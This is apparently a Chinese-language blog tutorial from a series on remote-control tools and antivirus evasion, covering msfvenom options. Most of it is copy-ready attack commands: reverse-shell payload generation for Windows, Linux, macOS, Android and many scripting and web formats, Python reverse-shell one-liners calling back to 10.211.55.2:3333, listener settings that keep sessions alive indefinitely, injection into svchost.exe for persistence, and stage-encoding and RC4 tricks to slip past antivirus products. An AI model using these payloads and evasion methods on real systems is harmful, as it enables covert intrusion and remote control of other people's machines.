【tool】遠控免殺專題文章-msfvenom隱藏的參數

本節目錄如下:

msfvenom簡介

msfvenom是msfpayload和msfencode的結合體,於2015年6月8日取代了msfpayload和msfencode。在此之後,metasploit-framework下面的的msfpayload(荷載生成器),msfencoder(編碼器),msfcli(監聽接口)都不再被支持。

常規參數

msfvenom所有參數

部分參數解讀

-p, –payload < payload> 指定需要使用的payload(攻擊荷載)。也可以使用自定義payload,幾乎是支持全平臺的

-l, –list [module_type] 列出指定模塊的所有可用資源. 模塊類型包括: payloads, encoders, nops, all

-n, –nopsled < length> 爲payload預先指定一個NOP滑動長度

-f, –format < format> 指定輸出格式 (使用 –help-formats 來獲取msf支持的輸出格式列表)

-e, –encoder [encoder] 指定需要使用的encoder(編碼器),指定需要使用的編碼,如果既沒用-e選項也沒用-b選項,則輸出raw payload

-a, –arch < architecture> 指定payload的目標架構,例如x86 | x64 | x86_64

–platform < platform> 指定payload的目標平臺

-s, –space < length> 設定有效攻擊荷載的最大長度,就是文件大小

-b, –bad-chars < list> 設定規避字符集,指定需要過濾的壞字符例如:不使用 '\x0f'、'\x00';

-i, –iterations < count> 指定payload的編碼次數

-c, –add-code < path> 指定一個附加的win32 shellcode文件

-x, –template < path> 指定一個自定義的可執行文件作爲模板,並將payload嵌入其中

-k, –keep 保護模板程序的動作,注入的payload作爲一個新的進程運行

–payload-options 列舉payload的標準選項

-o, –out < path> 指定創建好的payload的存放位置

-v, –var-name < name> 指定一個自定義的變量,以確定輸出格式

–shellest 最小化生成payload

-h, –help 查看幫助選項

–help-formats 查看msf支持的輸出格式列表

比如想查看windows/meterpreter/reverse_tcp支持什麼平臺、哪些選項,可以使用msfvenom -p windows/meterpreter/reverse_tcp --list-options

使用msfvenom --list payloads可查看所有payloads

使用msfvenom --list encoders可查看所有編碼器

可以看到評級最高的兩個encoder爲cmd/powershell_base64x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免殺中使用頻率最高的一個編碼器了。

類似可用msfvenom --list命令查看的還有payloads, encoders, nops, platforms, archs, encrypt, formats

幾個重要的監聽參數

防止假session

在實戰中,經常會遇到假session或者剛連接就斷開的情況,這裏補充一些監聽參數,防止假死與假session。

msf exploit(multi/handler) > set ExitOnSession false   //可以在接收到seesion後繼續監聽端口,保持偵聽。

防止session意外退出

msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0  //默認情況下,如果一個會話將在5分鐘(300秒)沒有任何活動,那麼它會被殺死,爲防止此情況可將此項修改爲0

msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默認情況下,一個星期(604800秒)後,會話將被強制關閉,修改爲0可永久不會被關閉

handler後臺持續監聽

msf exploit(multi/handler) > exploit -j -z

使用exploit -j -z可在後臺持續監聽,-j爲後臺任務,-z爲持續監聽,使用Jobs命令查看和管理後臺任務。jobs -K可結束所有任務。

還有種比較快捷的建立監聽的方式,在msf下直接執行:

msf5 > handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp

會生成監聽

payload的可持續化

一般來說使用msfvenom生成的payload會單獨開啓一個進程,這種進程很容易被發現和關閉,在後期想做持久化的時候只能再使用migrate進行。

其實在生成payload時可直接使用如下命令,生成的payload會直接注入到指定進程中。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o  shell.exe

生成的shell程序執行後會啓動兩個進程shell.exesvchost.exe,關閉其中一個不會影響會話狀態。唯一美中不足的是svchost.exe不是system32目錄下的。

在上面的生成payload參數中:

(1)PrependMigrate=true PrependMigrateProc=svchost.exe 使這個程序默認會遷移到svchost.exe進程,自己測試的時候不建議到這個進程而是其他的持久進程。

(2)使用-p指定使用的攻擊載荷模塊,使用-e指定使用x86/shikata_ga_nai編碼器,使用-f選項告訴MSF編碼器輸出格式爲exe,-o選項指定輸出的文件名爲payload.exe,保存在根目錄下。

繞過殺軟

這是green-m大佬提到的一種方式,使用reverse_https等payload時可以使用下列方法bypass部分殺軟。

生成payload:msfvenom -p windows/meterpreter/reverse_https lhost=10.211.55.2 lport=3333 -f c

在msf中進行如下設置,將控制端向被控制端發送的stage進行編碼

msf exploit(multi/handler) > set EnableStageEncoding true   //嘗試使用不同的編碼器對stage進行編碼,可能繞過部分殺軟的查殺
EnableStageEncoding => true
msf exploit(multi/handler) > set stageencoder x86/fnstenv_mov
Stageencoder => x64/xor
msf exploit(multi/handler) > set stageencodingfallback false
stageencodingfallback => false

同樣,使用reverse_tcp_rc4也有同樣的效果,而且不能設置stageencoder選項,更穩定更方便。

msfvenom -p  windows/meterpreter/reverse_tcp_rc4  lhost=10.211.55.2 lport=3333 RC4PASSWORD=tidesec  -f c

利用rc4對傳輸的數據進行加密,密鑰在生成時指定,在監聽的服務端設置相同的密鑰。就可以在symantec眼皮下執行meterpreter。

各平臺payload生成

二進制

windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe > shell.exe

windows下生成32位/64位payload時需要注意:以windows/meterpreter/reverse_tcp爲例,該payload默認爲32位,也可使用-a x86選項指定。如果要生成64位,則payload爲windows/x64/meterpreter/reverse_tcp。

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f macho > shell.macho

Android

msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.apk

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 R > test.apk

Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1

Netcat

nc正向連接

msfvenom -p windows/shell_hidden_bind_tcp LHOST=10.211.55.2 LPORT=3333  -f exe> 1.exe

nc反向連接,監聽

msfvenom -p windows/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333  -f exe> 1.exe

Shellcode

基於Linux的Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f c

基於Windows的Shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f c

基於Mac的Shellcode

msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f c

腳本

Python反彈shell

msfvenom -p cmd/unix/reverse_python LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py

msfvenom -a python -p python/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py

Python正向shell

python/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.2",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

python/python3 -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(("10.211.55.2",3333))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=10.211.55.2 LPORT=3333 -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=10.211.55.2 LPORT=3333 -f raw > shell.pl

Lua

msfvenom -p cmd/unix/reverse_lua LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.lua

Ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.rb

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.phpcat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASPX

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f aspx -o shell.aspx

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f war > shell.war

nodejs

msfvenom -p nodejs/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.js

Handlers

use exploit/multi/handlerset PAYLOAD <Payload name>set LHOST 10.211.55.2set LPORT 3333set ExitOnSession falseexploit -j -z

msfvenom命令自動補全

msfvenom參數和命令很多,各種payload和encoder經常讓人眼花繚亂,特別是對英語不好的人來說有些命令可能很容易忘記。所以Green_m大佬寫了一個zsh插件,可以自動化的補全msfvenom命令,有了它媽媽再也不用擔心我會忘記msfvenom命令了!

先看看安裝後的效果:

安裝如下:

安裝前提:已經安裝了zsh。

# 下載msfvenom plugin.
git clone https://github.com/Green-m/msfvenom-zsh-completion ~/.oh-my-zsh/custom/plugins/msfvenom/

# 打開 ~/.zshrc 文件,啓用插件
plugins=(...  msfvenom)

# 在當前shell中導入.zshrc文件中的設置
source ~/.zshrc

之後可正常使用。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章